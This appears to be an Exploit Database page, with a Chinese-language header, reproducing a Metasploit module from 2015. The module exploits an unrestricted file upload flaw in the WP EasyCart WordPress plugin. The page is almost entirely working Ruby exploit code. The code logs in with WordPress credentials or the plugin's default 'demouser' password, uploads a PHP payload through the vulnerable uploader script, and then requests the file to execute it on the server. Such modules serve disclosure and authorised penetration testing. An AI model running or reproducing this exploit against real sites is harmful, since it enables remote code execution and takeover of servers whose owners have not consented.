WordPress Plugin WP EasyCart – Unrestricted Arbitrary File Upload (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-02-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36043/

• ##
  # This module requires Metasploit: http://www.metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name'=> 'WordPress WP EasyCart Unrestricted File Upload',
  'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
  WordPress contains a flaw that allows a remote
  attacker to execute arbitrary PHP code. This
  flaw exists because the
  /inc/amfphp/administration/banneruploaderscript.php
  script does not properly verify or sanitize
  user-uploaded files. By uploading a .php file,
  the remote system will place the file in a
  user-accessible path. Making a direct request to
  the uploaded file will allow the attacker to
  execute the script with the privileges of the web
  server.
  
  In versions <= 3.0.8 authentication can be done by
  using the WordPress credentials of a user with any
  role. In later versions, a valid EasyCart admin
  password will be required that is in use by any
  admin user. A default installation of EasyCart will
  setup a user called "demouser" with a preset password
  of "demouser".},
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Kacper Szurek',# Vulnerability disclosure
  'Rob Carr <rob[at]rastating.com>' # Metasploit module
  ],
  'References'=>
  [
  ['OSVDB', '116806'],
  ['WPVDB', '7745']
  ],
  'DisclosureDate'=> 'Jan 08 2015',
  'Platform'=> 'php',
  'Arch'=> ARCH_PHP,
  'Targets' => [['wp-easycart', {}]],
  'DefaultTarget' => 0
  ))
  
  register_options(
  [
  OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
  OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
  OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
  OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
  ], self.class)
  end
  
  def username
  datastore['USERNAME']
  end
  
  def password
  datastore['PASSWORD']
  end
  
  def ec_password
  datastore['EC_PASSWORD']
  end
  
  def ec_password_is_hash
  datastore['EC_PASSWORD_IS_HASH']
  end
  
  def use_wordpress_authentication
  username.to_s != '' && password.to_s != ''
  end
  
  def use_ec_authentication
  ec_password.to_s != ''
  end
  
  def req_id
  if ec_password_is_hash
  return ec_password
  else
  return Rex::Text.md5(ec_password)
  end
  end
  
  def generate_mime_message(payload, date_hash, name, include_req_id)
  data = Rex::MIME::Message.new
  data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
  data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
  data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
  data
  end
  
  def setup
  if !use_wordpress_authentication && !use_ec_authentication
  fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
  end
  
  super
  end
  
  def exploit
  vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
  vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
  
  if use_wordpress_authentication && use_ec_authentication
  print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
  end
  
  if use_wordpress_authentication
  print_status("#{peer} - Authenticating using #{username}:#{password}...")
  cookie = wordpress_login(username, password)
  
  if !cookie
  if use_ec_authentication
  print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...")
  else
  fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
  end
  else
  print_good("#{peer} - Authenticated with WordPress")
  end
  end
  
  print_status("#{peer} - Preparing payload...")
  payload_name = Rex::Text.rand_text_alpha(10)
  date_hash = Rex::Text.md5(Time.now.to_s)
  uploaded_filename = "#{payload_name}_#{date_hash}.php"
  plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
  uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
  payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
  data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
  
  print_status("#{peer} - Uploading payload to #{payload_url}")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => uploader_url,
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> data.to_s,
  'cookie'=> cookie
  )
  
  fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
  vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
  
  print_status("#{peer} - Executing the payload...")
  register_files_for_cleanup(uploaded_filename)
  res = send_request_cgi(
  {
  'uri' => payload_url,
  'method'=> 'GET'
  }, 5)
  
  if !res.nil? && res.code == 404
  print_error("#{peer} - Failed to upload the payload")
  else
  print_good("#{peer} - Executed payload")
  end
  end
  end